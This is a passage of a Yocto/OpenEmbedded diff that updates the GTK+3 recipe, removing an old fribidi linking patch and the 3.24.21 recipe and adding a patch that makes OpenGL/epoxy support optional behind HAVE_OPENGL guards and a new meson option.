-@@ -280,6 +285,7 @@ init_gl (GtkInspectorGeneral *gen)
- }
- else
- #endif
-+#endif
- #ifdef GDK_WINDOWING_WAYLAND
- if (GDK_IS_WAYLAND_DISPLAY (gdk_display_get_default ()))
- {
-diff --git a/tests/Makefile.am b/tests/Makefile.am
-index ee1e8b5..e6c6502 100644
---- a/tests/Makefile.am
-+++ b/tests/Makefile.am
-@@ -80,8 +80,6 @@ noinst_PROGRAMS = $(TEST_PROGS) \
- testfullscreen \
- testgeometry \
- testgiconpixbuf \
-- testglarea \
-- testglblending \
- testgrid \
- testgtk \
- testheaderbar \
-@@ -172,12 +170,18 @@ noinst_PROGRAMS = $(TEST_PROGS) \
- testactionbar \
- testwindowsize \
- testpopover \
-- gdkgears \
- listmodel \
- testpopup \
- testpopupat \
- $(NULL)
-
-+if HAVE_OPENGL
-+noinst_PROGRAMS +=
-+ testglarea \
-+ testglblending \
-+ gdkgears
-+endif
-+
- if USE_WAYLAND
- noinst_PROGRAMS += testforeign
- endif
-diff --git a/testsuite/gtk/objects-finalize.c b/testsuite/gtk/objects-finalize.c
-index 24540e3..e0f863a 100644
---- a/testsuite/gtk/objects-finalize.c
-+++ b/testsuite/gtk/objects-finalize.c
-@@ -116,7 +116,9 @@ main (int argc, char **argv)
- all_types[i] != GDK_TYPE_X11_DEVICE_MANAGER_CORE &&
- all_types[i] != GDK_TYPE_X11_DEVICE_MANAGER_XI2 &&
- all_types[i] != GDK_TYPE_X11_DISPLAY_MANAGER &&
-+#ifdef HAVE_OPENGL
- all_types[i] != GDK_TYPE_X11_GL_CONTEXT &&
-+#endif
- #endif
- /* Not allowed to finalize a GdkPixbufLoader without calling gdk_pixbuf_loader_close() */
- all_types[i] != GDK_TYPE_PIXBUF_LOADER &&
diff --git a/meta/recipes-gnome/gtk+/gtk+3/link_fribidi.patch b/meta/recipes-gnome/gtk+/gtk+3/link_fribidi.patch
deleted file mode 100644
index e4bbd799f1..0000000000
--- a/meta/recipes-gnome/gtk+/gtk+3/link_fribidi.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Link with libfribidi, this is to avoid under linking where these functions are
-used but the library is not linked in, and they are marked undefined by BFD linker
-but gold linker refuses to link
-
-| ./.libs/libgdk-3.so: error: undefined reference to 'fribidi_get_bidi_type'
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
---- a/gdk/Makefile.am
-+++ b/gdk/Makefile.am
-@@ -55,6 +55,7 @@ LDADD = \
- -version-info $(LT_VERSION_INFO) \
- -export-dynamic \
- -rpath $(libdir) \
-+ -lfribidi \
- $(no_undefined)
-
- #
diff --git a/meta/recipes-gnome/gtk+/gtk+3/opengl.patch b/meta/recipes-gnome/gtk+/gtk+3/opengl.patch
new file mode 100644
index 0000000000..8f2feb0ee7
--- /dev/null
+++ b/meta/recipes-gnome/gtk+/gtk+3/opengl.patch
@@ -0,0 +1,738 @@
+From 4a0716f04fb25b51b08e994bd5a900b2e7f7fed5 Mon Sep 17 00:00:00 2001
+From: Jussi Kukkonen <jussi.kukkonen@intel.com>
+Date: Fri, 16 Oct 2015 16:35:16 +0300
+Subject: [PATCH] Do not try to initialize GL without libGL
+
+_gdk_x11_screen_update_visuals_for_gl() will end up calling epoxys
+GLX api which will exit() if libGL.so.1 is not present. We do not
+want that to happen and we don't want every app to have to set
+"GDK_GL=disabled" environment variable: so use #ifdef set based on
+opengl distro feature.
+
+Upstream is not interested in the fix as it is: Either epoxy should be
+fixed (to not exit) or GTK+ possibly could do some additional probing
+before calling epoxy APIs.
+
+Upstream-Status: Denied
+Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
+---
+ demos/gtk-demo/meson.build | 5 ++++-
+ docs/tools/meson.build | 7 +++++--
+ docs/tools/widgets.c | 6 +++++-
+ gdk/gdkconfig.h.meson | 1 +
+ gdk/gdkdisplay.c | 4 ++++
+ gdk/gdkgl.c | 10 ++++++++++
+ gdk/gdkglcontext.c | 6 ++++++
+ gdk/gdkwindow.c | 13 +++++++++++++
+ gdk/meson.build | 8 +++++++-
+ gdk/x11/gdkdisplay-x11.c | 6 +++++-
+ gdk/x11/gdkvisual-x11.c | 5 +++++
+ gdk/x11/gdkwindow-x11.c | 4 ++++
+ gdk/x11/gdkx-autocleanups.h | 2 ++
+ gdk/x11/gdkx.h | 2 ++
+ gdk/x11/meson.build | 7 +++++--
+ gtk/gtkglarea.c | 19 +++++++++++++++++++
+ gtk/inspector/general.c | 6 ++++++
+ meson.build | 17 ++++++++++++++---
+ meson_options.txt | 2 ++
+ tests/meson.build | 9 +++++++--
+ testsuite/gtk/objects-finalize.c | 2 ++
+ 21 files changed, 128 insertions(+), 13 deletions(-)
+
+diff --git a/demos/gtk-demo/meson.build b/demos/gtk-demo/meson.build
+index 252da16d05..4b57cff6ac 100644
+--- a/demos/gtk-demo/meson.build
++++ b/demos/gtk-demo/meson.build
+@@ -28,7 +28,6 @@ demos = files([
+ 'fishbowl.c',
+ 'foreigndrawing.c',
+ 'gestures.c',
+- 'glarea.c',
+ 'headerbar.c',
+ 'hypertext.c',
+ 'iconview.c',
+@@ -87,6 +86,10 @@ elif harfbuzz_dep.found() and pangoft_dep.found()
+ gtkdemo_deps += [harfbuzz_dep, pangoft_dep]
+ endif
+
++if opengl_enabled
++ demos += files('glarea.c')
++endif
++
+ if os_unix
+ demos += files('pagesetup.c')
+ endif
+diff --git a/docs/tools/meson.build b/docs/tools/meson.build
+index 05621ee7ed..3d0a333b32 100644
+--- a/docs/tools/meson.build
++++ b/docs/tools/meson.build
+@@ -2,10 +2,13 @@ if x11_enabled
+ doc_shooter_sources = [
+ 'shadow.c',
+ 'shooter.c',
+- 'widgets.c',
+- '../../tests/gtkgears.c',
++ 'widgets.c'
+ ]
+
++ if opengl_enabled
++ doc_shooter_sources += ['../../tests/gtkgears.c']
++ endif
++
+ doc_shooter = executable('doc-shooter', doc_shooter_sources,
+ include_directories: [ confinc, gdkinc, gtkinc, testinc, ],
+ dependencies: libgtk_dep)
+diff --git a/docs/tools/widgets.c b/docs/tools/widgets.c
+index 932daf1746..348807e133 100644
+--- a/docs/tools/widgets.c
++++ b/docs/tools/widgets.c
+@@ -8,7 +8,9 @@
+ #include <X11/Xatom.h>
+ #include <gdkx.h>
+ #include "widgets.h"
++#ifdef HAVE_OPENGL
+ #include "gtkgears.h"
++#endif
+
+ #define SMALL_WIDTH 240
+ #define SMALL_HEIGHT 75
+@@ -1526,9 +1528,11 @@ create_gl_area (void)
+ widget = gtk_frame_new (NULL);
+ gtk_frame_set_shadow_type (GTK_FRAME (widget), GTK_SHADOW_IN);
+
++#ifdef HAVE_OPENGL
+ gears = gtk_gears_new ();
+ gtk_container_add (GTK_CONTAINER (widget), gears);
+-
++#endif
++
+ info = new_widget_info ("glarea", widget, MEDIUM);
+
+ return info;
+diff --git a/gdk/gdkconfig.h.meson b/gdk/gdkconfig.h.meson
+index 7db19e0470..088651bafa 100644
+--- a/gdk/gdkconfig.h.meson
++++ b/gdk/gdkconfig.h.meson
+@@ -15,6 +15,7 @@ G_BEGIN_DECLS
+ #mesondefine GDK_WINDOWING_WAYLAND
+ #mesondefine GDK_WINDOWING_WIN32
+ #mesondefine GDK_WINDOWING_QUARTZ
++#mesondefine GDK_WITH_OPENGL
+
+ G_END_DECLS
+
+diff --git a/gdk/gdkdisplay.c b/gdk/gdkdisplay.c
+index 748f54860c..04ef2c09d4 100644
+--- a/gdk/gdkdisplay.c
++++ b/gdk/gdkdisplay.c
+@@ -2420,7 +2420,11 @@ gboolean
+ gdk_display_make_gl_context_current (GdkDisplay *display,
+ GdkGLContext *context)
+ {
++#ifdef HAVE_OPENGL
+ return GDK_DISPLAY_GET_CLASS (display)->make_gl_context_current (display, context);
++#else
++ return FALSE;
++#endif
+ }
+
+ GdkRenderingMode
+diff --git a/gdk/gdkgl.c b/gdk/gdkgl.c
+index 9690077cc2..55f85ef605 100644
+--- a/gdk/gdkgl.c
++++ b/gdk/gdkgl.c
+@@ -21,8 +21,9 @@
+ #include "gdkglcontextprivate.h"
+
+ #include "gdkinternals.h"
+-
++#ifdef HAVE_OPENGL
+ #include <epoxy/gl.h>
++#endif
+ #include <math.h>
+ #include <string.h>
+
+@@ -36,6 +37,7 @@
+ g_object_ref (window), g_object_unref);
+ }
+
++#ifdef HAVE_OPENGL
+ static const char *
+ get_vertex_type_name (int type)
+ {
+@@ -208,6 +210,7 @@
+ glUseProgram (paint_data->current_program->program);
+ }
+ }
++#endif
+
+ void
+ gdk_gl_texture_quads (GdkGLContext *paint_context,
+@@ -216,6 +219,7 @@
+ GdkTexturedQuad *quads,
+ gboolean flip_colors)
+ {
++#ifdef HAVE_OPENGL
+ GdkGLContextPaintData *paint_data = gdk_gl_context_get_paint_data (paint_context);
+ GdkGLContextProgram *program;
+ GdkWindow *window = gdk_gl_context_get_window (paint_context);
+@@ -289,6 +293,7 @@
+
+ glDisableVertexAttribArray (program->position_location);
+ glDisableVertexAttribArray (program->uv_location);
++#endif
+ }
+
+ /* x,y,width,height describes a rectangle in the gl render buffer
+@@ -337,6 +342,7 @@
+ int width,
+ int height)
+ {
++#ifdef HAVE_OPENGL
+ GdkGLContext *paint_context, *current_context;
+ cairo_surface_t *image;
+ cairo_matrix_t matrix;
+@@ -703,6 +709,7 @@
+ if (clip_region)
+ cairo_region_destroy (clip_region);
+
++#endif
+ }
+
+ /* This is always called with the paint context current */
+@@ -710,6 +717,7 @@
+ gdk_gl_texture_from_surface (cairo_surface_t *surface,
+ cairo_region_t *region)
+ {
++#ifdef HAVE_OPENGL
+ GdkGLContext *paint_context;
+ cairo_surface_t *image;
+ double device_x_offset, device_y_offset;
+@@ -810,4 +818,5 @@
+
+ glDisable (GL_SCISSOR_TEST);
+ glDeleteTextures (1, &texture_id);
++#endif
+ }
+diff --git a/gdk/gdkglcontext.c b/gdk/gdkglcontext.c
+index 3b23639e1c..1f04f8e0b2 100644
+--- a/gdk/gdkglcontext.c
++++ b/gdk/gdkglcontext.c
+@@ -85,7 +85,9 @@
+ #include "gdkintl.h"
+ #include "gdk-private.h"
+
++#ifdef HAVE_OPENGL
+ #include <epoxy/gl.h>
++#endif
+
+ typedef struct {
+ GdkDisplay *display;
+@@ -243,6 +245,7 @@ gdk_gl_context_upload_texture (GdkGLContext *context,
+ int height,
+ guint texture_target)
+ {
++#ifdef HAVE_OPENGL
+ GdkGLContextPrivate *priv = gdk_gl_context_get_instance_private (context);
+
+ g_return_if_fail (GDK_IS_GL_CONTEXT (context));
+@@ -286,6 +289,7 @@ gdk_gl_context_upload_texture (GdkGLContext *context,
+ glTexSubImage2D (texture_target, 0, 0, i, width, 1, GL_BGRA, GL_UNSIGNED_INT_8_8_8_8_REV, (unsigned char*) data + (i * stride));
+ }
+ }
++#endif
+ }
+
+ static gboolean
+@@ -774,6 +778,7 @@ gdk_gl_context_realize (GdkGLContext *context,
+ static void
+ gdk_gl_context_check_extensions (GdkGLContext *context)
+ {
++#ifdef HAVE_OPENGL
+ GdkGLContextPrivate *priv = gdk_gl_context_get_instance_private (context);
+ gboolean has_npot, has_texture_rectangle;
+
+@@ -853,6 +858,7 @@ gdk_gl_context_check_extensions (GdkGLContext *context)
+ priv->use_texture_rectangle ? "yes" : "no"));
+
+ priv->extensions_checked = TRUE;
++#endif
+ }
+
+ /**
+diff --git a/gdk/gdkwindow.c b/gdk/gdkwindow.c
+index 727b0cf1f4..d4d91b0d16 100644
+--- a/gdk/gdkwindow.c
++++ b/gdk/gdkwindow.c
+@@ -45,7 +45,9 @@
+
+ #include <math.h>
+
++#ifdef HAVE_OPENGL
+ #include <epoxy/gl.h>
++#endif
+
+ /* for the use of round() */
+ #include "fallback-c89.c"
+@@ -2844,6 +2846,13 @@ gdk_window_get_paint_gl_context (GdkWindow *window,
+ {
+ GError *internal_error = NULL;
+
++#ifndef HAVE_OPENGL
++ g_set_error_literal (error, GDK_GL_ERROR,
++ GDK_GL_ERROR_NOT_AVAILABLE,
++ _("GL support disabled with --disable-opengl"));
++ return NULL;
++#endif
++
+ if (_gdk_gl_flags & GDK_GL_DISABLE)
+ {
+ g_set_error_literal (error, GDK_GL_ERROR,
+@@ -2979,6 +2988,7 @@ gdk_window_begin_paint_internal (GdkWindow *window,
+ }
+ else
+ {
++#ifdef HAVE_OPENGL
+ gdk_gl_context_make_current (context);
+ /* With gl we always need a surface to combine the gl
+ drawing with the native drawing. */
+@@ -2993,6 +3003,7 @@ gdk_window_begin_paint_internal (GdkWindow *window,
+ glBlendFunc (GL_ONE, GL_ONE_MINUS_SRC_ALPHA);
+
+ glViewport (0, 0, ww, wh);
++#endif
+ }
+ }
+
+@@ -3056,6 +3067,7 @@ gdk_window_end_paint_internal (GdkWindow *window)
+
+ gdk_gl_context_make_current (window->gl_paint_context);
+
++#ifdef HAVE_OPENGL
+ if (!cairo_region_is_empty (opaque_region))
+ gdk_gl_texture_from_surface (window->current_paint.surface,
+ opaque_region);
+@@ -3066,6 +3078,7 @@ gdk_window_end_paint_internal (GdkWindow *window)
+ window->current_paint.need_blend_region);
+ glDisable(GL_BLEND);
+ }
++#endif
+
+ cairo_region_destroy (opaque_region);
+
+diff --git a/gdk/meson.build b/gdk/meson.build
+index 4bb1bf2b6c..64172b8d3e 100644
+--- a/gdk/meson.build
++++ b/gdk/meson.build
+@@ -56,7 +56,6 @@ gdk_gir_public_headers = files(
+ 'gdkdrawingcontext.h',
+ 'gdkevents.h',
+ 'gdkframetimings.h',
+- 'gdkglcontext.h',
+ 'gdkkeys.h',
+ 'gdkkeysyms.h',
+ 'gdkmain.h',
+@@ -78,6 +77,12 @@ gdk_gir_public_headers = files(
+ 'gdkwindow.h',
+ )
+ gdk_nogir_public_headers = [files('gdkkeysyms-compat.h')]
++if opengl_enabled
++gdk_gir_public_headers += files('gdkglcontext.h')
++else
++gdk_nogir_public_headers += files('gdkglcontext.h')
++endif
++
+ gdk_public_headers = gdk_gir_public_headers + gdk_nogir_public_headers
+ install_headers(gdk_public_headers, subdir : 'gtk-3.0/gdk')
+
+@@ -166,6 +171,7 @@ gdkconfig_cdata.set('GDK_WINDOWING_WAYLAND', wayland_enabled)
+ gdkconfig_cdata.set('GDK_WINDOWING_WIN32', win32_enabled)
+ gdkconfig_cdata.set('GDK_WINDOWING_BROADWAY', broadway_enabled)
+ gdkconfig_cdata.set('GDK_WINDOWING_QUARTZ', quartz_enabled)
++gdkconfig_cdata.set('GDK_WITH_OPENGL', opengl_enabled)
+
+ gdkconfig = configure_file(
+ input : 'gdkconfig.h.meson',
+diff --git a/gdk/x11/gdkdisplay-x11.c b/gdk/x11/gdkdisplay-x11.c
+index 7e08f472cc..30fd7b6089 100644
+--- a/gdk/x11/gdkdisplay-x11.c
++++ b/gdk/x11/gdkdisplay-x11.c
+@@ -37,7 +37,9 @@
+ #include "gdkdisplay-x11.h"
+ #include "gdkprivate-x11.h"
+ #include "gdkscreen-x11.h"
++#ifdef HAVE_OPENGL
+ #include "gdkglcontext-x11.h"
++#endif
+ #include "gdk-private.h"
+ #include "gdkprofilerprivate.h"
+
+@@ -3191,7 +3193,9 @@ gdk_x11_display_class_init (GdkX11DisplayClass * class)
+ display_class->text_property_to_utf8_list = _gdk_x11_display_text_property_to_utf8_list;
+ display_class->utf8_to_string_target = _gdk_x11_display_utf8_to_string_target;
+
+- display_class->make_gl_context_current = gdk_x11_display_make_gl_context_current;
++#ifdef HAVE_OPENGL
++ display_class->make_gl_context_current = gdk_x11_display_make_gl_context_current;
++#endif
+
+ display_class->get_default_seat = gdk_x11_display_get_default_seat;
+
+diff --git a/gdk/x11/gdkvisual-x11.c b/gdk/x11/gdkvisual-x11.c
+index 81479d81f4..3c8c5c02ff 100644
+--- a/gdk/x11/gdkvisual-x11.c
++++ b/gdk/x11/gdkvisual-x11.c
+@@ -306,7 +306,12 @@ _gdk_x11_screen_init_visuals (GdkScreen *screen)
+ /* If GL is available we want to pick better default/rgba visuals,
+ as we care about glx details such as alpha/depth/stencil depth,
+ stereo and double buffering */
++ /* update_visuals_for_gl() will end up calling epoxy GLX api which
++ will exit if libgl is not there: so only do this if we know GL
++ is available */
++#ifdef HAVE_GLX
+ _gdk_x11_screen_update_visuals_for_gl (screen);
++#endif
+ }
+
+ gint
+diff --git a/gdk/x11/gdkwindow-x11.c b/gdk/x11/gdkwindow-x11.c
+index 194bc82e29..0302bb68d4 100644
+--- a/gdk/x11/gdkwindow-x11.c
++++ b/gdk/x11/gdkwindow-x11.c
+@@ -36,7 +36,9 @@
+ #include "gdkasync.h"
+ #include "gdkeventsource.h"
+ #include "gdkdisplay-x11.h"
++#ifdef HAVE_OPENGL
+ #include "gdkglcontext-x11.h"
++#endif
+ #include "gdkprivate-x11.h"
+ #include "gdk-private.h"
+
+@@ -5888,7 +5890,9 @@ gdk_window_impl_x11_class_init (GdkWindowImplX11Class *klass)
+ impl_class->set_opaque_region = gdk_x11_window_set_opaque_region;
+ impl_class->set_shadow_width = gdk_x11_window_set_shadow_width;
+ impl_class->show_window_menu = gdk_x11_window_show_window_menu;
++#ifdef HAVE_OPENGL
+ impl_class->create_gl_context = gdk_x11_window_create_gl_context;
+ impl_class->invalidate_for_new_frame = gdk_x11_window_invalidate_for_new_frame;
++#endif
+ impl_class->get_unscaled_size = gdk_x11_window_get_unscaled_size;
+ }
+diff --git a/gdk/x11/gdkx-autocleanups.h b/gdk/x11/gdkx-autocleanups.h
+index edb0ea7dbf..a317d61cca 100644
+--- a/gdk/x11/gdkx-autocleanups.h
++++ b/gdk/x11/gdkx-autocleanups.h
+@@ -30,7 +30,9 @@ G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11DeviceXI2, g_object_unref)
+ G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11Display, g_object_unref)
+ G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11DisplayManager, g_object_unref)
+ G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11DragContext, g_object_unref)
++#ifdef HAVE_OPENGL
+ G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11GLContext, g_object_unref)
++#endif
+ G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11Keymap, g_object_unref)
+ G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11Screen, g_object_unref)
+ G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11Visual, g_object_unref)
+diff --git a/gdk/x11/gdkx.h b/gdk/x11/gdkx.h
+index 1f64bccb6d..4db6c18351 100644
+--- a/gdk/x11/gdkx.h
++++ b/gdk/x11/gdkx.h
+@@ -43,7 +43,9 @@
+ #include <gdk/x11/gdkx11display.h>
+ #include <gdk/x11/gdkx11displaymanager.h>
+ #include <gdk/x11/gdkx11dnd.h>
++#ifdef GDK_WITH_OPENGL
+ #include <gdk/x11/gdkx11glcontext.h>
++#endif
+ #include <gdk/x11/gdkx11keys.h>
+ #include <gdk/x11/gdkx11monitor.h>
+ #include <gdk/x11/gdkx11property.h>
+diff --git a/gdk/x11/meson.build b/gdk/x11/meson.build
+index 754ae0a615..0318c83877 100644
+--- a/gdk/x11/meson.build
++++ b/gdk/x11/meson.build
+@@ -14,7 +14,6 @@ gdk_x11_sources = files(
+ 'gdkeventsource.c',
+ 'gdkeventtranslator.c',
+ 'gdkgeometry-x11.c',
+- 'gdkglcontext-x11.c',
+ 'gdkkeys-x11.c',
+ 'gdkmain-x11.c',
+ 'gdkproperty-x11.c',
+@@ -42,7 +41,6 @@ gdk_x11_public_headers = files(
+ 'gdkx11display.h',
+ 'gdkx11displaymanager.h',
+ 'gdkx11dnd.h',
+- 'gdkx11glcontext.h',
+ 'gdkx11keys.h',
+ 'gdkx11monitor.h',
+ 'gdkx11property.h',
+@@ -53,6 +51,11 @@ gdk_x11_public_headers = files(
+ 'gdkx11window.h',
+ )
+
++if opengl_enabled
++ gdk_x11_sources += files('gdkglcontext-x11.c')
++ gdk_x11_public_headers += files('gdkx11glcontext.h')
++endif
++
+ install_headers(gdk_x11_public_headers, subdir: 'gtk-3.0/gdk/x11/')
+ install_headers('gdkx.h', subdir: 'gtk-3.0/gdk/')
+
+diff --git a/gtk/gtkglarea.c b/gtk/gtkglarea.c
+index 802303ea9f..6439d7745d 100644
+--- a/gtk/gtkglarea.c
++++ b/gtk/gtkglarea.c
+@@ -29,7 +29,9 @@
+ #include "gtkprivate.h"
+ #include "gtkrender.h"
+
++#ifdef HAVE_OPENGL
+ #include <epoxy/gl.h>
++#endif
+
+ /**
+ * SECTION:gtkglarea
+@@ -369,9 +371,12 @@ gtk_gl_area_real_create_context (GtkGLArea *area)
+ static void
+ gtk_gl_area_resize (GtkGLArea *area, int width, int height)
+ {
++#ifdef HAVE_OPENGL
+ glViewport (0, 0, width, height);
++#endif
+ }
+
++#ifdef HAVE_OPENGL
+ /*
+ * Creates all the buffer objects needed for rendering the scene
+ */
+@@ -483,6 +488,7 @@ gtk_gl_area_allocate_buffers (GtkGLArea *area)
+
+ priv->needs_render = TRUE;
+ }
++#endif
+
+ /**
+ * gtk_gl_area_attach_buffers:
+@@ -501,6 +507,7 @@ gtk_gl_area_allocate_buffers (GtkGLArea *area)
+ void
+ gtk_gl_area_attach_buffers (GtkGLArea *area)
+ {
++#ifdef HAVE_OPENGL
+ GtkGLAreaPrivate *priv = gtk_gl_area_get_instance_private (area);
+
+ g_return_if_fail (GTK_IS_GL_AREA (area));
+@@ -533,11 +540,13 @@ gtk_gl_area_attach_buffers (GtkGLArea *area)
+ glFramebufferRenderbuffer (GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT,
+ GL_RENDERBUFFER, priv->depth_stencil_buffer);
+ }
++#endif
+ }
+
+ static void
+ gtk_gl_area_delete_buffers (GtkGLArea *area)
+ {
++#ifdef HAVE_OPENGL
+ GtkGLAreaPrivate *priv = gtk_gl_area_get_instance_private (area);
+
+ if (priv->context == NULL)
+@@ -569,6 +578,7 @@ gtk_gl_area_delete_buffers (GtkGLArea *area)
+ glDeleteFramebuffers (1, &priv->frame_buffer);
+ priv->frame_buffer = 0;
+ }
++#endif
+ }
+
+ static void
+@@ -679,6 +689,7 @@ gtk_gl_area_draw (GtkWidget *widget,
+ GtkGLArea *area = GTK_GL_AREA (widget);
+ GtkGLAreaPrivate *priv = gtk_gl_area_get_instance_private (area);
+ gboolean unused;
++#ifdef HAVE_OPENGL
+ int w, h, scale;
+ GLenum status;
+
+@@ -736,6 +747,14 @@ gtk_gl_area_draw (GtkWidget *widget,
+ }
+
+ return TRUE;
++#else
++ if (priv->error != NULL)
++ gtk_gl_area_draw_error_screen (area,
++ cr,
++ gtk_widget_get_allocated_width (widget),
++ gtk_widget_get_allocated_height (widget));
++ return FALSE;
++#endif
+ }
+
+ static gboolean
+diff --git a/gtk/inspector/general.c b/gtk/inspector/general.c
+index 4fd0c3039c..a8e59ed077 100644
+--- a/gtk/inspector/general.c
++++ b/gtk/inspector/general.c
+@@ -33,8 +33,10 @@
+
+ #ifdef GDK_WINDOWING_X11
+ #include "x11/gdkx.h"
++#ifdef HAVE_OPENGL
+ #include <epoxy/glx.h>
+ #endif
++#endif
+
+ #ifdef GDK_WINDOWING_WIN32
+ #include "win32/gdkwin32.h"
+@@ -217,6 +219,7 @@ add_label_row (GtkInspectorGeneral *gen,
+ gtk_size_group_add_widget (GTK_SIZE_GROUP (gen->priv->labels), label);
+ }
+
++#ifdef HAVE_OPENGL
+ #ifdef GDK_WINDOWING_X11
+ static void
+ append_glx_extension_row (GtkInspectorGeneral *gen,
+@@ -226,6 +229,7 @@ append_glx_extension_row (GtkInspectorGeneral *gen,
+ add_check_row (gen, GTK_LIST_BOX (gen->priv->gl_box), ext, epoxy_has_glx_extension (dpy, 0, ext), 0);
+ }
+ #endif
++#endif
+
+ #ifdef GDK_WINDOWING_WAYLAND
+ static void
+@@ -275,6 +279,7 @@ wayland_get_display (struct wl_display *wl_display)
+ static void
+ init_gl (GtkInspectorGeneral *gen)
+ {
++#ifdef HAVE_OPENGL
+ #ifdef GDK_WINDOWING_X11
+ if (GDK_IS_X11_DISPLAY (gdk_display_get_default ()))
+ {
+@@ -301,6 +306,7 @@ init_gl (GtkInspectorGeneral *gen)
+ }
+ else
+ #endif
++#endif
+ #ifdef GDK_WINDOWING_WAYLAND
+ if (GDK_IS_WAYLAND_DISPLAY (gdk_display_get_default ()))
+ {
+diff --git a/meson.build b/meson.build
+index aed48fc3f6..bfc33af0f6 100644
+--- a/meson.build
++++ b/meson.build
+@@ -137,6 +137,7 @@ wayland_enabled = get_option('wayland_backend')
+ broadway_enabled = get_option('broadway_backend')
+ quartz_enabled = get_option('quartz_backend')
+ win32_enabled = get_option('win32_backend')
++opengl_enabled = get_option('opengl')
+
+ os_unix = false
+ os_linux = false
+@@ -430,7 +431,7 @@ pangocairo_dep = dependency('pangocairo', version: cairo_req,
+ fallback : ['pango', 'libpangocairo_dep'])
+ pixbuf_dep = dependency('gdk-pixbuf-2.0', version: gdk_pixbuf_req,
+ fallback : ['gdk-pixbuf', 'gdkpixbuf_dep'])
+-epoxy_dep = dependency('epoxy', version: epoxy_req,
++epoxy_dep = dependency('epoxy', version: epoxy_req, required: opengl_enabled,
+ fallback: ['libepoxy', 'libepoxy_dep'])
+ atk_dep = dependency('atk', version: atk_req,
+ fallback : ['atk', 'libatk_dep'])
+@@ -476,6 +477,10 @@ if tracker3_enabled
+ endif
+ endif
+
++if opengl_enabled
++ cdata.set('HAVE_OPENGL', 1)
++endif
++
+ if iso_codes_dep.found()
+ cdata.set_quoted('ISO_CODES_PREFIX', iso_codes_dep.get_variable(pkgconfig: 'prefix'))
+ else
+@@ -912,9 +917,15 @@ else
+ gio_packages = ['gio-2.0', glib_req]
+ endif
+
++if opengl_enabled
++ epoxy_packages = ['epoxy', epoxy_req]
++else
++ epoxy_packages = []
++endif
++
+ pkgconf.set('GDK_PRIVATE_PACKAGES',
+ ' '.join(gio_packages + x11_pkgs + wayland_pkgs + cairo_backends +
+- ['epoxy', epoxy_req] + cloudproviders_packages +
++ epoxy_packages + cloudproviders_packages +
+ ['fribidi', fribidi_req]))
+
+ gtk_packages = ' '.join([
+@@ -928,7 +939,7 @@ pkgconf.set('GTK_PACKAGES', gtk_packages)
+ # Requires.private
+ pc_gdk_extra_libs += cairo_libs
+
+-gtk_private_packages = atk_pkgs + wayland_pkgs + ['epoxy', epoxy_req, 'fribidi', fribidi_req]
++gtk_private_packages = atk_pkgs + wayland_pkgs + epoxy_packages + ['fribidi', fribidi_req]
+ if wayland_enabled or x11_enabled
+ gtk_private_packages += ['pangoft2']
+ endif
+diff --git a/meson_options.txt b/meson_options.txt
+index 94099aa01e..8bd096896d 100644
+--- a/meson_options.txt
++++ b/meson_options.txt
+@@ -19,6 +19,8 @@ option('profiler', type: 'boolean', value: false,
+ description : 'Enable profiler support')
+ option('tracker3', type: 'boolean', value: false,
+ description : 'Enable Tracker3 filechooser search')
++option('opengl', type: 'boolean', value: true,
++ description : 'Enable use of GL')
+
+ # Print backends
+ option('print_backends', type : 'string', value : 'auto',
+diff --git a/tests/meson.build b/tests/meson.build
+index 586fe2f45e..6ecf317dde 100644
+--- a/tests/meson.build
++++ b/tests/meson.build
+@@ -5,7 +5,6 @@ gtk_tests = [
+ ['scrolling-performance', ['frame-stats.c', 'variable.c']],
+ ['blur-performance', ['../gtk/gtkcairoblur.c']],
+ ['flicker'],
+- ['gdkgears', ['gtkgears.c']],
+ ['listmodel'],
+ ['motion-compression'],
+ ['styleexamples'],
+@@ -54,7 +53,6 @@ gtk_tests = [
+ ['testfullscreen'],
+ ['testgeometry'],
+ ['testgiconpixbuf'],
+- ['testglblending', ['gtkgears.c']],
+ ['testgmenu'],
+ ['testgrid'],
+ ['testgrouping'],
+@@ -137,6 +135,13 @@ if x11_enabled
+ ]
+ endif
+
++if opengl_enabled
++ gtk_tests += [
++ ['gdkgears', ['gtkgears.c']],
++ ['testglblending', ['gtkgears.c']],
++ ]
++endif
++
+ if os_linux
+ gtk_tests += [['testfontchooserdialog']]
+ endif
+diff --git a/testsuite/gtk/objects-finalize.c b/testsuite/gtk/objects-finalize.c
+index 24540e313f..e0f863ab6a 100644
+--- a/testsuite/gtk/objects-finalize.c
++++ b/testsuite/gtk/objects-finalize.c
+@@ -116,7 +116,9 @@ main (int argc, char **argv)
+ all_types[i] != GDK_TYPE_X11_DEVICE_MANAGER_CORE &&
+ all_types[i] != GDK_TYPE_X11_DEVICE_MANAGER_XI2 &&
+ all_types[i] != GDK_TYPE_X11_DISPLAY_MANAGER &&
++#ifdef HAVE_OPENGL
+ all_types[i] != GDK_TYPE_X11_GL_CONTEXT &&
++#endif
+ #endif
+ /* Not allowed to finalize a GdkPixbufLoader without calling gdk_pixbuf_loader_close() */
+ all_types[i] != GDK_TYPE_PIXBUF_LOADER &&
+--
+2.30.2
+
diff --git a/meta/recipes-gnome/gtk+/gtk+3_3.24.21.bb b/meta/recipes-gnome/gtk+/gtk+3_3.24.21.bb
deleted file mode 100644
index 70c0e66db7..0000000000
--- a/meta/recipes-gnome/gtk+/gtk+3_3.24.21.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require gtk+3.inc
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "http://ftp.gnome.org/pub/gnome/sources/gtk+/${MAJ_VER}/gtk+-${PV}.tar.xz \
- file://0001-Hardcoded-libtool.patch \
- file://0002-Do-not-try-to-initialize-GL-without-libGL.patch \
- file://0003-Add-disable-opengl-configure-option.patch \
- file://link_fribidi.patch \
- "
-SRC_URI[md5sum] = "95afed6c860d27de827db66434d681da"
